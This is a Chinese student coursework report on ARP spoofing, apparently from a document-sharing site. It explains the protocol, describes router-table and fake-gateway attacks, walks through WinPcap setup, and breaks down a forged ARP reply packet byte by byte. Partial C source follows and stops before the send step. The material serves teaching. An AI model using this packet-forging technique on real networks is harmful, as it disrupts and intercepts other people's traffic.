C语言实现ARP攻击(附源码)

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

信息安全原理

——ARP攻击班级:07计算机1班姓名:胡益铭学号:E07620112

ARP原理:

ARP,即地址解析协议,实现通过IP地址得知其物理地址。在TCP/IP网络环境下,每个主机都分配了一个32位的IP地址,这种互联网地址是在网际范围标识主机的一种逻辑地址。为了让报文在物理网路上传送,必须知道对方目的主机的物理地址。这样就存在把IP 地址变换成物理地址的地址转换问题。以以太网环境为例,为了正确地向目的主机传送报文,必须把目的主机的32位IP地址转换成为48位以太网的地址。这就需要在互连层有一组服务将IP地址转换为相应物理地址,这组协议就是ARP协议。

ARP数据报格式如下:

什么是ARP欺骗:

其实,此起彼伏的瞬间掉线或大面积的断网大都是ARP欺骗在作怪。ARP欺骗攻击已经成了破坏网吧经营的罪魁祸首,是网吧老板和网管员的心腹大患。从影响网络连接通畅的方式来看,ARP欺骗分为二种,一种是对路由器ARP表的欺骗;另一种是对内网PC的网关欺骗。第一种ARP欺骗的原理是——截获网关数据。它通知路由器一系列错误的内网MAC地址,并按照一定的频率不断进行,使真实的地址信息无法通过更新保存在路由器中,结果路由器的所有数据只能发送给错误的MAC地址,造成正常PC无法收到信息。第二种ARP欺骗的原理是——伪造网关。它的原理是建立假网关,让被它欺骗的PC向假网关发数据,而不是通过正常的路由器途径上网。在PC看来,就是上不了网了,“网络掉线了”。

本程序基于C语言,利用winpacp实现往局域网内发自定义的包,以达到ARP欺骗的目的。

首先从/archive/下载4.0beta1-WpdPack和4.0beta1-WinPcap.exe,版本很多,不过最新版本需要64位的系统,本人32位系统用不了。

直接点击4.0beta1-WinPcap.exe安装,然后在C:\Program Files\WinPcap下打开rpcapd.exe 服务。

然后在VC中,Tools→Options→Directories下配置include和library,将4.0beta1-WpdPack 中的include和library库包含进去,本人把4.0beta1-WpdPack放在D盘根目录下,结果如下:

然后在Project→Settings→Link→Object/l ibrary Modules,在文本框的末尾添加“wpcap.lib packet.lib ws2_32.lib”。

编译运行后按提示输入,内容如下:

1. \Device\NPF_GenericDialupAdapter (Adapter for generic dialup and VPN capture)

2. \Device\NPF_{2A933761-706B-40E1-833D-7209ED0C0467} (W AN (PPP/SLIP) Interface)

3. \Device\NPF_{547462F5-42E8-4FFB-85F9-54DA60C68BFD} (Broadcom NetXtreme Gigabit Ethernet Driver (Microsoft's Packet Scheduler) )

2是二次拨号的端口,3是本地连接,1不知道是什么,没看懂。这里选择3

输入的接收方MAC地址00:1C:23:2D:65:44 是我自己的MAC地址,学校寝室的安全貌似做的很好,输入别人的MAC地址出不来东西。

目标IP地址10.9.190.22 也是我自己的IP

此时生成的包如下:

0 1c 23 2d 65 44 0 1b fc c2 1b b6 8 6 0 1 8 0 6 4 0 2 0 1b fc c2 1b b6 a 9 be 16 0 1c 23 2d 65 44 a 9 be 16 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

解释如下:

以太网首部:

0 1c 23 2d 65 44 //以太网目的地址,手动输入

0 1b fc c2 1b b6 //以太网源地址,假的,固定

ARP帧:

8 6 //帧类型,0806表示ARP协议

0 1 //硬件类型,0001以太网

8 0 //协议类型,0800IP协议

6 //硬件地址长度

4 //协议地址长度

0 2 //op,01表示请求,02表示回复

0 1b fc c2 1b b6 //发送端以太网地址,同首部中以太网源地址

a 9 be 16 //发送端IP地址,假的,固定

0 1c 23 2d 65 44 //目的以太网地址,同首部中目的地址

a 9 be 16 //目的IP地址,手动输入

填充:

0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

此时电脑右下角就会出现如下图的提示,IP地址冲突。

附main.cpp代码如下:

#include

#include

#include

int main()

{

pcap_if_t *alldevs;//定义一个网络接口的一个节点

pcap_if_t *d;

int i=0,inum=0,j;

char errbuf[PCAP_ERRBUF_SIZE];

u_char packet[60];

pcap_t *adhandle;

/* 获得设备列表*/

if (pcap_findalldevs(&alldevs, errbuf) == -1)

{

fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);

exit(1);

}

/* 打印列表*/

for(d= alldevs; d != NULL; d= d->next)

{

printf("%d. %s", ++i, d->name);

if (d->description)

printf(" (%s)\n", d->description);

else

printf(" (No description available)\n");

}

if (i == 0)

{

printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); return 0;

}

printf("Enter the interface number (1-%d):",i);

scanf("%d", &inum);

/* 跳转到选中的适配器*/

for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);

相关文档
最新文档